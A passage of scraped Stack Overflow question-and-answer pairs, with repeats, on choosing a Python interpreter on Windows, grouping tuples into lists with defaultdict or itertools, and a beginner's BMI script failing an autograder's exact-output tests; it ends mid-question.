the shebang line: ``` #!/usr/bin/python2.6 ``` ... will be ignored in Windows. In Windows, you must call the correct python interpreter directly (AFAIK). Normally, people add their Python version specific directory (c:\Python26) to their PATH (environment variable) so you can just type "python" at any command line and it will invoke the interpreter. However, you can also call any specific interpreter you want. for example, on Windows I have both Python 2.6 and 3.1 installed (residing in c:\Python26 and c:\Python31 respectively). I can run a script with each one like this: ``` c:\python26\python foo.py ``` or ``` c:\python31\python foo.py ```
Maybe "Open with..." + 'Remember my choice' in context menu of explorer?
3,236,983
My program has been written on python 3.1 (it was the biggest mistake I've ever made). Now I want to use a few modules that were written on 2.6. I know that it's possible to specify the interpreter in Unix `#!/usr/bin/python2.6`. But what if I use Windows? Does any way to specify the interpreter exist in Windows? Edit: I want to be able to use both interpreters simultaneously.
2010/07/13
[ "https://Stackoverflow.com/questions/3236983", "https://Stackoverflow.com", "https://Stackoverflow.com/users/248814/" ]
If you want to mix in the same runtime both 2.6 and 3.1 you may be interested in [execnet](http://codespeak.net/execnet/). Never tested directly, however * Edit: looking at you comments on another answer, I understood better the question
If you want to go back from Python 3 to Python 2 you could try [3to2](http://pypi.python.org/pypi/3to2) to convert your code back to Python 2. You can't easily mix Python 2 and 3 in the same program.
3,236,983
My program has been written on python 3.1 (it was the biggest mistake I've ever made). Now I want to use a few modules that were written on 2.6. I know that it's possible to specify the interpreter in Unix `#!/usr/bin/python2.6`. But what if I use Windows? Does any way to specify the interpreter exist in Windows? Edit: I want to be able to use both interpreters simultaneously.
2010/07/13
[ "https://Stackoverflow.com/questions/3236983", "https://Stackoverflow.com", "https://Stackoverflow.com/users/248814/" ]
If you want to mix in the same runtime both 2.6 and 3.1 you may be interested in [execnet](http://codespeak.net/execnet/). Never tested directly, however * Edit: looking at you comments on another answer, I understood better the question
If you go into Control Panel -> System -> Advanced -> Environment Variables, and then add Python 2.6 to the PATH variable (it's probably located at C:\Python26 or C:\Program Files\Python26) -- and make sure Python 3.1 isn't in it -- then if you type python at the command prompt, you'll get 2.6 instead. As for Explorer, you'll want to associate it by using the Open With... dialog. Browse to the path (probably C:\Python26\python.exe) and set it. Make sure you check to make it the default before you hit OK. To add the to PATH variable, you'll have to add a ; on the end of the current PATH variable and then add the folder's path after it (remove 3.1 if needed). For example: PATH="C:\Program Files\Emacs23\bin;C:\Cygwin\bin;C:\Python31" would become: PATH="C:\Program Files\Emacs23\bin;C:\Cygwin\bin;C:\Python26"
3,236,983
My program has been written on python 3.1 (it was the biggest mistake I've ever made). Now I want to use a few modules that were written on 2.6. I know that it's possible to specify the interpreter in Unix `#!/usr/bin/python2.6`. But what if I use Windows? Does any way to specify the interpreter exist in Windows? Edit: I want to be able to use both interpreters simultaneously.
2010/07/13
[ "https://Stackoverflow.com/questions/3236983", "https://Stackoverflow.com", "https://Stackoverflow.com/users/248814/" ]
the shebang line: ``` #!/usr/bin/python2.6 ``` ... will be ignored in Windows. In Windows, you must call the correct python interpreter directly (AFAIK). Normally, people add their Python version specific directory (c:\Python26) to their PATH (environment variable) so you can just type "python" at any command line and it will invoke the interpreter. However, you can also call any specific interpreter you want. for example, on Windows I have both Python 2.6 and 3.1 installed (residing in c:\Python26 and c:\Python31 respectively). I can run a script with each one like this: ``` c:\python26\python foo.py ``` or ``` c:\python31\python foo.py ```
If you want to mix in the same runtime both 2.6 and 3.1 you may be interested in [execnet](http://codespeak.net/execnet/). Never tested directly, however * Edit: looking at you comments on another answer, I understood better the question
3,236,983
My program has been written on python 3.1 (it was the biggest mistake I've ever made). Now I want to use a few modules that were written on 2.6. I know that it's possible to specify the interpreter in Unix `#!/usr/bin/python2.6`. But what if I use Windows? Does any way to specify the interpreter exist in Windows? Edit: I want to be able to use both interpreters simultaneously.
2010/07/13
[ "https://Stackoverflow.com/questions/3236983", "https://Stackoverflow.com", "https://Stackoverflow.com/users/248814/" ]
the shebang line: ``` #!/usr/bin/python2.6 ``` ... will be ignored in Windows. In Windows, you must call the correct python interpreter directly (AFAIK). Normally, people add their Python version specific directory (c:\Python26) to their PATH (environment variable) so you can just type "python" at any command line and it will invoke the interpreter. However, you can also call any specific interpreter you want. for example, on Windows I have both Python 2.6 and 3.1 installed (residing in c:\Python26 and c:\Python31 respectively). I can run a script with each one like this: ``` c:\python26\python foo.py ``` or ``` c:\python31\python foo.py ```
If you want to go back from Python 3 to Python 2 you could try [3to2](http://pypi.python.org/pypi/3to2) to convert your code back to Python 2. You can't easily mix Python 2 and 3 in the same program.
3,236,983
My program has been written on python 3.1 (it was the biggest mistake I've ever made). Now I want to use a few modules that were written on 2.6. I know that it's possible to specify the interpreter in Unix `#!/usr/bin/python2.6`. But what if I use Windows? Does any way to specify the interpreter exist in Windows? Edit: I want to be able to use both interpreters simultaneously.
2010/07/13
[ "https://Stackoverflow.com/questions/3236983", "https://Stackoverflow.com", "https://Stackoverflow.com/users/248814/" ]
the shebang line: ``` #!/usr/bin/python2.6 ``` ... will be ignored in Windows. In Windows, you must call the correct python interpreter directly (AFAIK). Normally, people add their Python version specific directory (c:\Python26) to their PATH (environment variable) so you can just type "python" at any command line and it will invoke the interpreter. However, you can also call any specific interpreter you want. for example, on Windows I have both Python 2.6 and 3.1 installed (residing in c:\Python26 and c:\Python31 respectively). I can run a script with each one like this: ``` c:\python26\python foo.py ``` or ``` c:\python31\python foo.py ```
If you go into Control Panel -> System -> Advanced -> Environment Variables, and then add Python 2.6 to the PATH variable (it's probably located at C:\Python26 or C:\Program Files\Python26) -- and make sure Python 3.1 isn't in it -- then if you type python at the command prompt, you'll get 2.6 instead. As for Explorer, you'll want to associate it by using the Open With... dialog. Browse to the path (probably C:\Python26\python.exe) and set it. Make sure you check to make it the default before you hit OK. To add the to PATH variable, you'll have to add a ; on the end of the current PATH variable and then add the folder's path after it (remove 3.1 if needed). For example: PATH="C:\Program Files\Emacs23\bin;C:\Cygwin\bin;C:\Python31" would become: PATH="C:\Program Files\Emacs23\bin;C:\Cygwin\bin;C:\Python26"
39,654,224
I am trying to come up with a neat way of doing this in python. I have a list of pairs of alphabets and numbers that look like this : ``` [(a,1),(a,2),(a,3),(b,10),(b,100),(c,99),(d,-1),(d,-2)] ``` What I want to do is to create a new list for each alphabet and append all the numerical values to it. So, output should look like: ``` alist = [1,2,3] blist = [10,100] clist = [99] dlist = [-1,-2] ``` Is there a neat way of doing this in Python?
2016/09/23
[ "https://Stackoverflow.com/questions/39654224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2272156/" ]
``` from collections import defaultdict data = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] if __name__ == '__main__': result = defaultdict(list) for alphabet, number in data: result[alphabet].append(number) ``` or without collections module: ``` if __name__ == '__main__': result = {} for alphabet, number in data: if alphabet not in result: result[alphabet] = [number, ] continue result[alphabet].append(number) ``` But i think, that first solution more effective and clear.
You can use `defaultdict` from the `collections` module for this: ``` from collections import defaultdict l = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] d = defaultdict(list) for k,v in l: d[k].append(v) for k,v in d.items(): exec(k + "list=" + str(v)) ```
39,654,224
I am trying to come up with a neat way of doing this in python. I have a list of pairs of alphabets and numbers that look like this : ``` [(a,1),(a,2),(a,3),(b,10),(b,100),(c,99),(d,-1),(d,-2)] ``` What I want to do is to create a new list for each alphabet and append all the numerical values to it. So, output should look like: ``` alist = [1,2,3] blist = [10,100] clist = [99] dlist = [-1,-2] ``` Is there a neat way of doing this in Python?
2016/09/23
[ "https://Stackoverflow.com/questions/39654224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2272156/" ]
``` from collections import defaultdict data = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] if __name__ == '__main__': result = defaultdict(list) for alphabet, number in data: result[alphabet].append(number) ``` or without collections module: ``` if __name__ == '__main__': result = {} for alphabet, number in data: if alphabet not in result: result[alphabet] = [number, ] continue result[alphabet].append(number) ``` But i think, that first solution more effective and clear.
If you want to avoid using a `defaultdict` but are comfortable using `itertools`, you can do it with a one-liner ``` from itertools import groupby data = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] grouped = dict((key, list(pair[1] for pair in values)) for (key, values) in groupby(data, lambda pair: pair[0])) # gives {'b': [10, 100], 'a': [1, 2, 3], 'c': [99], 'd': [-1, -2]} ```
39,654,224
I am trying to come up with a neat way of doing this in python. I have a list of pairs of alphabets and numbers that look like this : ``` [(a,1),(a,2),(a,3),(b,10),(b,100),(c,99),(d,-1),(d,-2)] ``` What I want to do is to create a new list for each alphabet and append all the numerical values to it. So, output should look like: ``` alist = [1,2,3] blist = [10,100] clist = [99] dlist = [-1,-2] ``` Is there a neat way of doing this in Python?
2016/09/23
[ "https://Stackoverflow.com/questions/39654224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2272156/" ]
``` from collections import defaultdict data = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] if __name__ == '__main__': result = defaultdict(list) for alphabet, number in data: result[alphabet].append(number) ``` or without collections module: ``` if __name__ == '__main__': result = {} for alphabet, number in data: if alphabet not in result: result[alphabet] = [number, ] continue result[alphabet].append(number) ``` But i think, that first solution more effective and clear.
After seeing the responses in the thread and reading the implementation of defaultdict, I implemented my own version of it since I didn't want to use the collections library. ``` mydict = {} for alphabet, value in data: try: mydict[alphabet].append(value) except KeyError: mydict[alphabet] = [] mydict[alphabet].append(value) ```
39,654,224
I am trying to come up with a neat way of doing this in python. I have a list of pairs of alphabets and numbers that look like this : ``` [(a,1),(a,2),(a,3),(b,10),(b,100),(c,99),(d,-1),(d,-2)] ``` What I want to do is to create a new list for each alphabet and append all the numerical values to it. So, output should look like: ``` alist = [1,2,3] blist = [10,100] clist = [99] dlist = [-1,-2] ``` Is there a neat way of doing this in Python?
2016/09/23
[ "https://Stackoverflow.com/questions/39654224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2272156/" ]
If you want to avoid using a `defaultdict` but are comfortable using `itertools`, you can do it with a one-liner ``` from itertools import groupby data = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] grouped = dict((key, list(pair[1] for pair in values)) for (key, values) in groupby(data, lambda pair: pair[0])) # gives {'b': [10, 100], 'a': [1, 2, 3], 'c': [99], 'd': [-1, -2]} ```
You can use `defaultdict` from the `collections` module for this: ``` from collections import defaultdict l = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] d = defaultdict(list) for k,v in l: d[k].append(v) for k,v in d.items(): exec(k + "list=" + str(v)) ```
39,654,224
I am trying to come up with a neat way of doing this in python. I have a list of pairs of alphabets and numbers that look like this : ``` [(a,1),(a,2),(a,3),(b,10),(b,100),(c,99),(d,-1),(d,-2)] ``` What I want to do is to create a new list for each alphabet and append all the numerical values to it. So, output should look like: ``` alist = [1,2,3] blist = [10,100] clist = [99] dlist = [-1,-2] ``` Is there a neat way of doing this in Python?
2016/09/23
[ "https://Stackoverflow.com/questions/39654224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2272156/" ]
After seeing the responses in the thread and reading the implementation of defaultdict, I implemented my own version of it since I didn't want to use the collections library. ``` mydict = {} for alphabet, value in data: try: mydict[alphabet].append(value) except KeyError: mydict[alphabet] = [] mydict[alphabet].append(value) ```
You can use `defaultdict` from the `collections` module for this: ``` from collections import defaultdict l = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] d = defaultdict(list) for k,v in l: d[k].append(v) for k,v in d.items(): exec(k + "list=" + str(v)) ```
39,654,224
I am trying to come up with a neat way of doing this in python. I have a list of pairs of alphabets and numbers that look like this : ``` [(a,1),(a,2),(a,3),(b,10),(b,100),(c,99),(d,-1),(d,-2)] ``` What I want to do is to create a new list for each alphabet and append all the numerical values to it. So, output should look like: ``` alist = [1,2,3] blist = [10,100] clist = [99] dlist = [-1,-2] ``` Is there a neat way of doing this in Python?
2016/09/23
[ "https://Stackoverflow.com/questions/39654224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2272156/" ]
If you want to avoid using a `defaultdict` but are comfortable using `itertools`, you can do it with a one-liner ``` from itertools import groupby data = [('a',1),('a',2),('a',3),('b',10),('b',100),('c',99),('d',-1),('d',-2)] grouped = dict((key, list(pair[1] for pair in values)) for (key, values) in groupby(data, lambda pair: pair[0])) # gives {'b': [10, 100], 'a': [1, 2, 3], 'c': [99], 'd': [-1, -2]} ```
After seeing the responses in the thread and reading the implementation of defaultdict, I implemented my own version of it since I didn't want to use the collections library. ``` mydict = {} for alphabet, value in data: try: mydict[alphabet].append(value) except KeyError: mydict[alphabet] = [] mydict[alphabet].append(value) ```
65,676,114
From one file, I'm trying to import and initialize a class from another file, where that class is initialized with a global variable defined in the calling file. My file setup looks like this. ``` folder ├──subfolder │ └── __init__.py │ └── sub.py ├──__init__.py ├──orig.py ``` My `orig.py` file looks like this: ``` from folder.subfolder.sub import Test def varinit(): global var var = 8 def runn(): varinit() testInstance = Test() testInstance.print_modvar() if __name__ == "__main__": runn() ``` My `sub.py` file looks like this: ``` from folder.orig import var class Test(): def __init__(self): self.mod_var=var+8 def print_modvar(self): print(self.mod_var) ``` In my terminal, I set: ``` export PYTHONPATH=/path/to/rootfolder ``` Where `rootfolder` contains folder. When I run `python3 folder.orig.py` I get this error: ``` Traceback (most recent call last): File "folder/orig.py", line 1, in <module> from folder.subfolder.sub import Test File "/content/folder/subfolder/sub.py", line 1, in <module> from folder.orig import var File "/content/folder/orig.py", line 1, in <module> from folder.subfolder.sub import Test ImportError: cannot import name 'Test' ``` The issue is that it is not able to locate `sub.py`? Or is it able to locate `sub.py`, but just not the class defined in `sub.py`? How can I modify this to be able to correctly `import` the class, with it correctly using the global variable at initialization? The result is that it should print the number `16`. For convenience I have a colab notebook with the code that is interactive. The files likely won't persist though <https://colab.research.google.com/drive/1mYk-XTpQh5d8IoTzXg9phGc2WupYKlRU?usp=sharing>
2021/01/11
[ "https://Stackoverflow.com/questions/65676114", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3259896/" ]
You have got your program almost right. The only challenge I see is with resetting the variable `digit_total = 0` after each iteration. ``` def digital_root(n): n_str = str(n) while len(n_str) != 1: digit_total = 0 #move this inside the while loop for digit in n_str: digit_total += int(digit) n_str = str(digit_total) return(n_str) print (digital_root(23485)) ``` The output for `print (digital_root(23485))` is `4` ``` 2 + 3 + 4 + 8 + 5 = 22 2 + 2 = 4 ``` If the `digit_total = 0` is not inside the while loop, then it keeps getting added and you get a never ending loop. While you have a lot of code, you can do this in a single line. ``` def sum_digits(n): while len(str(n)) > 1: n = sum(int(i) for i in str(n)) return n print (sum_digits(23485)) ``` You don't need to create too many variables and get lost in keeping track of them.
Alex, running a recursive function would always be better than a while loop in such scenarios. Try this : ``` def digital_root(n): n=sum([int(i) for i in str(n)]) if len(str(n))==1: print(n) else: digital_root(n) ```
70,995,571
Im still VERY NEW to programming and python...Any help would be GREATLY appreciated.. I am doing a BMI calculator in my python class.. I actually got it working the way the instructor wanted but I wanted to just improve it slightly and I had no idea it was going to be this difficult. My original code that actually worked as the intructor wanted is this: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result = (height ** 2) print(int(weight / result)) ``` Now when it runs it prints out Enter your height in m: Then you enter the height then it prints enter your weight in kg: then you enter your weight then it just calculates it and returns just the resulting number.. In this case 35. I wanted to be a little ambitious and I wanted to make it print out like this: I wanted it to print Your BMI is 35 instead of just 35.. I wouldnt have thought it would be that hard but WOW.. I have tried SO MANY different ways.. Here is the last I tried.. And it actually prints the way I want it to but then it shows this big LONG error.. It even calculates it correctly.. So I dont know why its giving the error when its performing what I want it to do??? Here is the code I have in it now... ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` Now it finishes calculating.. And it prints out Your BMI is 35 I am putting in 1.6 for height and 90 for kg But then after it prints it out as I want it to I see this.. ``` enter your height in m: 1.6 enter your weight in kg: 90 Your BMI is 35 . . . Checking if you are printing a single number: The BMI as an integer (using meters and kilograms)... Running some tests on your code: . . . FFF ====================================================================== FAIL: test_1 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 70, in test_1 self.run_test(given_answer=['2', '8'], expected_print='2\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n2\n' != '2\n' - Your BMI is 2 ====================================================================== FAIL: test_2 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 73, in test_2 self.run_test(given_answer=['1.8', '85'], expected_print='26\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n26\n' != '26\n' - Your BMI is 26 ====================================================================== FAIL: test_3 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 76, in test_3 self.run_test(given_answer=['1.6', '90'], expected_print='35\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n35\n' != '35\n' - Your BMI is 35 ---------------------------------------------------------------------- Ran 3 tests in 0.004s FAILED (failures=3)  KeyboardInterrupt  ``` I have NO IDEA what this means or why its doing it when its calculating it correctly and printing it out correctly???? PLEASE HELP???
2022/02/05
[ "https://Stackoverflow.com/questions/70995571", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17611193/" ]
Well, it's good that you are providing more information to the user than just printing out the BMI. But in this case, your test wants only a single number as output for validation. Your code is correct but. A few improvements which you can make in your code: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` to: ``` height = input("enter your height in m: ") weight = int(input("enter your weight in kg: "))#Ask user input in `int` form only. height = float(height) result= (height ** 2) BMI = int(weight / result) #print("Your BMI is: ") Your evaluator(which checks the code) want the output i.e. BMI only. Kindly remove this and it will work print(BMI) ```
the testing you are using wants your print to be only the BMI calculated, so the last print should only be ``` print(BMI) ``` or you could try: ``` print("Your BMI is: ", BMI) ```
70,995,571
Im still VERY NEW to programming and python...Any help would be GREATLY appreciated.. I am doing a BMI calculator in my python class.. I actually got it working the way the instructor wanted but I wanted to just improve it slightly and I had no idea it was going to be this difficult. My original code that actually worked as the intructor wanted is this: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result = (height ** 2) print(int(weight / result)) ``` Now when it runs it prints out Enter your height in m: Then you enter the height then it prints enter your weight in kg: then you enter your weight then it just calculates it and returns just the resulting number.. In this case 35. I wanted to be a little ambitious and I wanted to make it print out like this: I wanted it to print Your BMI is 35 instead of just 35.. I wouldnt have thought it would be that hard but WOW.. I have tried SO MANY different ways.. Here is the last I tried.. And it actually prints the way I want it to but then it shows this big LONG error.. It even calculates it correctly.. So I dont know why its giving the error when its performing what I want it to do??? Here is the code I have in it now... ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` Now it finishes calculating.. And it prints out Your BMI is 35 I am putting in 1.6 for height and 90 for kg But then after it prints it out as I want it to I see this.. ``` enter your height in m: 1.6 enter your weight in kg: 90 Your BMI is 35 . . . Checking if you are printing a single number: The BMI as an integer (using meters and kilograms)... Running some tests on your code: . . . FFF ====================================================================== FAIL: test_1 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 70, in test_1 self.run_test(given_answer=['2', '8'], expected_print='2\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n2\n' != '2\n' - Your BMI is 2 ====================================================================== FAIL: test_2 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 73, in test_2 self.run_test(given_answer=['1.8', '85'], expected_print='26\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n26\n' != '26\n' - Your BMI is 26 ====================================================================== FAIL: test_3 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 76, in test_3 self.run_test(given_answer=['1.6', '90'], expected_print='35\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n35\n' != '35\n' - Your BMI is 35 ---------------------------------------------------------------------- Ran 3 tests in 0.004s FAILED (failures=3)  KeyboardInterrupt  ``` I have NO IDEA what this means or why its doing it when its calculating it correctly and printing it out correctly???? PLEASE HELP???
2022/02/05
[ "https://Stackoverflow.com/questions/70995571", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17611193/" ]
I would suggest to use `f-string` formatting: ``` print(f"Your BMI is: {BMI}") ``` I would suggest to read [`this`](https://towardsdatascience.com/introducing-f-strings-the-best-option-for-string-formatting-in-python-b52975b47b84), notice that the `f-string` formatting is considered the best practice. --- To make your output `int`, I would suggest to use the `round` built-in function: ``` BMI = round(weight / result) ```
the testing you are using wants your print to be only the BMI calculated, so the last print should only be ``` print(BMI) ``` or you could try: ``` print("Your BMI is: ", BMI) ```
70,995,571
Im still VERY NEW to programming and python...Any help would be GREATLY appreciated.. I am doing a BMI calculator in my python class.. I actually got it working the way the instructor wanted but I wanted to just improve it slightly and I had no idea it was going to be this difficult. My original code that actually worked as the intructor wanted is this: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result = (height ** 2) print(int(weight / result)) ``` Now when it runs it prints out Enter your height in m: Then you enter the height then it prints enter your weight in kg: then you enter your weight then it just calculates it and returns just the resulting number.. In this case 35. I wanted to be a little ambitious and I wanted to make it print out like this: I wanted it to print Your BMI is 35 instead of just 35.. I wouldnt have thought it would be that hard but WOW.. I have tried SO MANY different ways.. Here is the last I tried.. And it actually prints the way I want it to but then it shows this big LONG error.. It even calculates it correctly.. So I dont know why its giving the error when its performing what I want it to do??? Here is the code I have in it now... ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` Now it finishes calculating.. And it prints out Your BMI is 35 I am putting in 1.6 for height and 90 for kg But then after it prints it out as I want it to I see this.. ``` enter your height in m: 1.6 enter your weight in kg: 90 Your BMI is 35 . . . Checking if you are printing a single number: The BMI as an integer (using meters and kilograms)... Running some tests on your code: . . . FFF ====================================================================== FAIL: test_1 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 70, in test_1 self.run_test(given_answer=['2', '8'], expected_print='2\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n2\n' != '2\n' - Your BMI is 2 ====================================================================== FAIL: test_2 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 73, in test_2 self.run_test(given_answer=['1.8', '85'], expected_print='26\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n26\n' != '26\n' - Your BMI is 26 ====================================================================== FAIL: test_3 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 76, in test_3 self.run_test(given_answer=['1.6', '90'], expected_print='35\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n35\n' != '35\n' - Your BMI is 35 ---------------------------------------------------------------------- Ran 3 tests in 0.004s FAILED (failures=3)  KeyboardInterrupt  ``` I have NO IDEA what this means or why its doing it when its calculating it correctly and printing it out correctly???? PLEASE HELP???
2022/02/05
[ "https://Stackoverflow.com/questions/70995571", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17611193/" ]
Well, it's good that you are providing more information to the user than just printing out the BMI. But in this case, your test wants only a single number as output for validation. Your code is correct but. A few improvements which you can make in your code: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` to: ``` height = input("enter your height in m: ") weight = int(input("enter your weight in kg: "))#Ask user input in `int` form only. height = float(height) result= (height ** 2) BMI = int(weight / result) #print("Your BMI is: ") Your evaluator(which checks the code) want the output i.e. BMI only. Kindly remove this and it will work print(BMI) ```
I would suggest to use `f-string` formatting: ``` print(f"Your BMI is: {BMI}") ``` I would suggest to read [`this`](https://towardsdatascience.com/introducing-f-strings-the-best-option-for-string-formatting-in-python-b52975b47b84), notice that the `f-string` formatting is considered the best practice. --- To make your output `int`, I would suggest to use the `round` built-in function: ``` BMI = round(weight / result) ```
70,995,571
Im still VERY NEW to programming and python...Any help would be GREATLY appreciated.. I am doing a BMI calculator in my python class.. I actually got it working the way the instructor wanted but I wanted to just improve it slightly and I had no idea it was going to be this difficult. My original code that actually worked as the intructor wanted is this: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result = (height ** 2) print(int(weight / result)) ``` Now when it runs it prints out Enter your height in m: Then you enter the height then it prints enter your weight in kg: then you enter your weight then it just calculates it and returns just the resulting number.. In this case 35. I wanted to be a little ambitious and I wanted to make it print out like this: I wanted it to print Your BMI is 35 instead of just 35.. I wouldnt have thought it would be that hard but WOW.. I have tried SO MANY different ways.. Here is the last I tried.. And it actually prints the way I want it to but then it shows this big LONG error.. It even calculates it correctly.. So I dont know why its giving the error when its performing what I want it to do??? Here is the code I have in it now... ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` Now it finishes calculating.. And it prints out Your BMI is 35 I am putting in 1.6 for height and 90 for kg But then after it prints it out as I want it to I see this.. ``` enter your height in m: 1.6 enter your weight in kg: 90 Your BMI is 35 . . . Checking if you are printing a single number: The BMI as an integer (using meters and kilograms)... Running some tests on your code: . . . FFF ====================================================================== FAIL: test_1 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 70, in test_1 self.run_test(given_answer=['2', '8'], expected_print='2\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n2\n' != '2\n' - Your BMI is 2 ====================================================================== FAIL: test_2 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 73, in test_2 self.run_test(given_answer=['1.8', '85'], expected_print='26\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n26\n' != '26\n' - Your BMI is 26 ====================================================================== FAIL: test_3 (__main__.MyTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "main.py", line 76, in test_3 self.run_test(given_answer=['1.6', '90'], expected_print='35\n') File "main.py", line 67, in run_test self.assertEqual(fake_out.getvalue(), expected_print) AssertionError: 'Your BMI is \n35\n' != '35\n' - Your BMI is 35 ---------------------------------------------------------------------- Ran 3 tests in 0.004s FAILED (failures=3)  KeyboardInterrupt  ``` I have NO IDEA what this means or why its doing it when its calculating it correctly and printing it out correctly???? PLEASE HELP???
2022/02/05
[ "https://Stackoverflow.com/questions/70995571", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17611193/" ]
Well, it's good that you are providing more information to the user than just printing out the BMI. But in this case, your test wants only a single number as output for validation. Your code is correct but. A few improvements which you can make in your code: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` to: ``` height = input("enter your height in m: ") weight = int(input("enter your weight in kg: "))#Ask user input in `int` form only. height = float(height) result= (height ** 2) BMI = int(weight / result) #print("Your BMI is: ") Your evaluator(which checks the code) want the output i.e. BMI only. Kindly remove this and it will work print(BMI) ```
I will not focus on the test's error messages but more on what you are trying to achieve. Python is a "typed" language, meaning that numbers and strings will be considered differently by Python and with some limitations. I am providing two possible solutions (working with Python 3.9 but you might experience a different behavior, depending of your Python version): ``` print("Your BMI is:", int(weight / result)) print(f"Your BMI is: {int(weight / result)}") ``` * the first one is using a comma to tell Python that there are two elements to be displayed (the "Your BMI is:" string first and then the result of the calculation). * the second one is using the f-string method that allows you to include variable or more complex calculations/formulas within a string, using {}.
70,995,571
Im still VERY NEW to programming and python...Any help would be GREATLY appreciated.. I am doing a BMI calculator in my python class.. I actually got it working the way the instructor wanted but I wanted to just improve it slightly and I had no idea it was going to be this difficult. My original code that actually worked as the intructor wanted is this: ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result = (height ** 2) print(int(weight / result)) ``` Now when it runs it prints out Enter your height in m: Then you enter the height then it prints enter your weight in kg: then you enter your weight then it just calculates it and returns just the resulting number.. In this case 35. I wanted to be a little ambitious and I wanted to make it print out like this: I wanted it to print Your BMI is 35 instead of just 35.. I wouldnt have thought it would be that hard but WOW.. I have tried SO MANY different ways.. Here is the last I tried.. And it actually prints the way I want it to but then it shows this big LONG error.. It even calculates it correctly.. So I dont know why its giving the error when its performing what I want it to do??? Here is the code I have in it now... ``` height = input("enter your height in m: ") weight = input("enter your weight in kg: ") height = float(height) weight = int(weight) result= (height ** 2) BMI = int(weight / result) print("Your BMI is: ") print(BMI) ``` Now it finishes calculating.. And it prints out Your BMI is 35 I am putting in 1.6 for height and 90 for kg But then after it prints it out as I want it to I see this.. ``` enter your height in m: 1.6 enter your weight in kg: 90 Your BMI is 35 . . . Checking if you are printing a single number: The BMI as an integer (using meters and kilograms)... Running some tests on your 